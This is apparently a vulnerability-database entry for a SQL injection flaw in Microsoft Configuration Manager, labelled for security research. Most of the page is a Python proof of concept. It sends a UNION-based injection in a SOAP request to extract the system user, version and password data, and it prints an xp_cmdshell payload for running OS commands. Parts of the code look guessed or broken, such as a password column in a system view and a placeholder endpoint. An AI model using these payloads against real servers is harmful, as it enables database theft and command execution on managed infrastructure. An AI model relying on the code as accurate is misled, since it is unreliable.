Improper neutralization of special elements used in an sql command ('sql injection') in Microsoft Configuration Manager allows an unauthorized attacker to elevate privileges over an adjacent network.
Microsoft Configuration Manager (所有受支持的版本，具体版本范围需参考Microsoft官方安全公告)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-59213 - Microsoft Configuration Manager SQL Injection PoC
# Vulnerability: Improper neutralization of special elements used in an SQL command
# Affected: Microsoft Configuration Manager
# Attack Vector: Adjacent Network (AV:A), No Authentication Required (PR:N)
import requests
import socket
import struct
TARGET_HOST = "192.168.1.100" # SCCM Site Server IP
SMS_PROVIDER_PORT = 80 # SMS Provider default port
def exploit_sql_injection(target_host, port):
"""
Exploit SQL injection in Microsoft Configuration Manager SMS Provider.
The SMS Provider service fails to properly sanitize user-supplied input
before incorporating it into SQL queries against the site database.
"""
# Malicious SQL payload leveraging UNION-based injection
# The injection point is typically in resource discovery or client registration requests
sql_payload = (
"1' UNION SELECT "
"@@version, "
"SYSTEM_USER, "
"(SELECT TOP 1 password FROM v_R_System), "
"DB_NAME(), "
"'injected'-- "
)
# WMI/SMS Provider query exploitation
# The SMS Provider exposes management data via WMI/CIM interfaces
wmi_namespace = "root\\sms\\site_<SITE_CODE>"
headers = {
"Content-Type": "application/xml; charset=utf-8",
"User-Agent": "MOCP/5.0",
}
# Crafted SOAP/WMI request with injected SQL payload
payload_xml = f"""<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
<soap:Body>
<ExecuteQuery xmlns="http://schemas.microsoft.com/sms/2005/06/management">
<query>SELECT * FROM v_R_System WHERE Name LIKE '%{sql_payload}%'</query>
</ExecuteQuery>
</soap:Body>
</soap:Envelope>"""
try:
url = f"http://{target_host}:{port}/sms_provider"
response = requests.post(url, data=payload_xml, headers=headers, timeout=10)
if response.status_code == 200:
print("[+] SQL Injection successful!")
print(f"[+] Response: {response.text[:500]}")
return response.text
else:
print(f"[-] Request failed with status: {response.status_code}")
except Exception as e:
print(f"[-] Error: {e}")
return None
def escalate_privileges(sql_result):
"""
Post-exploitation: Use extracted credentials to escalate privileges
and gain control over the Configuration Manager infrastructure.
"""
# Extract sensitive information from SQL injection result
# Use xp_cmdshell for OS command execution if SQL Server privileges allow
cmdshell_payload = "1'; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'whoami';--"
print(f"[*] Attempting privilege escalation via: {cmdshell_payload}")
if __name__ == "__main__":
print(f"[*] Targeting Microsoft Configuration Manager at {TARGET_HOST}")
result = exploit_sql_injection(TARGET_HOST, SMS_PROVIDER_PORT)
if result:
escalate_privileges(result)